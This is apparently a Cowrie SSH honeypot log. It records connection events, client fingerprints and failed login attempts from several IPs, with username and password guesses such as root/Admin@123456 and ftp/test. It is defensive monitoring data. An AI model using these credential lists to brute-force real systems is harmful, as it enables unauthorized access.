{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":40170,"dst_ip":"159.203.135.109","dst_port":22,"session":"d266e92257e9","protocol":"ssh","message":"New connection: 170.79.37.88:40170 (159.203.135.109:22) [session: d266e92257e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:15.070180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:15.075202Z","src_ip":"170.79.37.88","session":"d266e92257e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:15.185123Z","src_ip":"170.79.37.88","session":"d266e92257e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"admin","message":"login attempt [ftpadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:15.635476Z","src_ip":"170.79.37.88","session":"d266e92257e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:15.732544Z","src_ip":"192.109.200.78","session":"a6f1f47807e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:16.748137Z","src_ip":"170.79.37.88","session":"d266e92257e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":60204,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a6ebde0367","protocol":"ssh","message":"New connection: 177.54.62.66:60204 (10.17.0.5:22) [session: a2a6ebde0367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:17.685433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:17.690007Z","src_ip":"177.54.62.66","session":"a2a6ebde0367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:17.829358Z","src_ip":"177.54.62.66","session":"a2a6ebde0367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55800,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cabb2ac2dee","protocol":"ssh","message":"New connection: 192.109.200.78:55800 (159.203.135.109:22) [session: 5cabb2ac2dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:17.995668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:18.000868Z","src_ip":"192.109.200.78","session":"5cabb2ac2dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:18.083911Z","src_ip":"192.109.200.78","session":"5cabb2ac2dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:18.338192Z","src_ip":"192.109.200.78","session":"5cabb2ac2dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"test","message":"login attempt [ftp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:18.411358Z","src_ip":"177.54.62.66","session":"a2a6ebde0367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:19.536219Z","src_ip":"192.109.200.78","session":"5cabb2ac2dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:19.595042Z","src_ip":"177.54.62.66","session":"a2a6ebde0367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46186723dd3","protocol":"ssh","message":"New connection: 192.109.200.78:46202 (159.203.135.109:22) [session: d46186723dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:21.799770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:21.804804Z","src_ip":"192.109.200.78","session":"d46186723dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:21.891249Z","src_ip":"192.109.200.78","session":"d46186723dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:22.145096Z","src_ip":"192.109.200.78","session":"d46186723dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:23.232492Z","src_ip":"192.109.200.78","session":"d46186723dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46210,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ca32408ca22","protocol":"ssh","message":"New connection: 192.109.200.78:46210 (159.203.135.109:22) [session: 6ca32408ca22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:25.656998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:25.661304Z","src_ip":"192.109.200.78","session":"6ca32408ca22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:25.743515Z","src_ip":"192.109.200.78","session":"6ca32408ca22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:25.994483Z","src_ip":"192.109.200.78","session":"6ca32408ca22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:27.083115Z","src_ip":"192.109.200.78","session":"6ca32408ca22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50652,"dst_ip":"159.203.135.109","dst_port":22,"session":"809c3ae8d78a","protocol":"ssh","message":"New connection: 192.109.200.78:50652 (159.203.135.109:22) [session: 809c3ae8d78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.293247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.297961Z","src_ip":"192.109.200.78","session":"809c3ae8d78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47140,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b2e899efb3a","protocol":"ssh","message":"New connection: 159.203.92.129:47140 (159.203.135.109:22) [session: 7b2e899efb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.302038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.305849Z","src_ip":"159.203.92.129","session":"7b2e899efb3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.310666Z","src_ip":"159.203.92.129","session":"7b2e899efb3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sabbil","password":"123","message":"login attempt [Sabbil/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.328265Z","src_ip":"159.203.92.129","session":"7b2e899efb3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.378974Z","src_ip":"192.109.200.78","session":"809c3ae8d78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:29.624000Z","src_ip":"192.109.200.78","session":"809c3ae8d78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:30.449947Z","src_ip":"159.203.92.129","session":"7b2e899efb3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:30.708255Z","src_ip":"192.109.200.78","session":"809c3ae8d78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50660,"dst_ip":"159.203.135.109","dst_port":22,"session":"3762027cb676","protocol":"ssh","message":"New connection: 192.109.200.78:50660 (159.203.135.109:22) [session: 3762027cb676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:33.997039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:34.001076Z","src_ip":"192.109.200.78","session":"3762027cb676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:34.085669Z","src_ip":"192.109.200.78","session":"3762027cb676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:34.329944Z","src_ip":"192.109.200.78","session":"3762027cb676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:35.416303Z","src_ip":"192.109.200.78","session":"3762027cb676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50666,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d0b379967c","protocol":"ssh","message":"New connection: 192.109.200.78:50666 (159.203.135.109:22) [session: 59d0b379967c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:36.809031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:36.813756Z","src_ip":"192.109.200.78","session":"59d0b379967c","protocol":"ssh"}
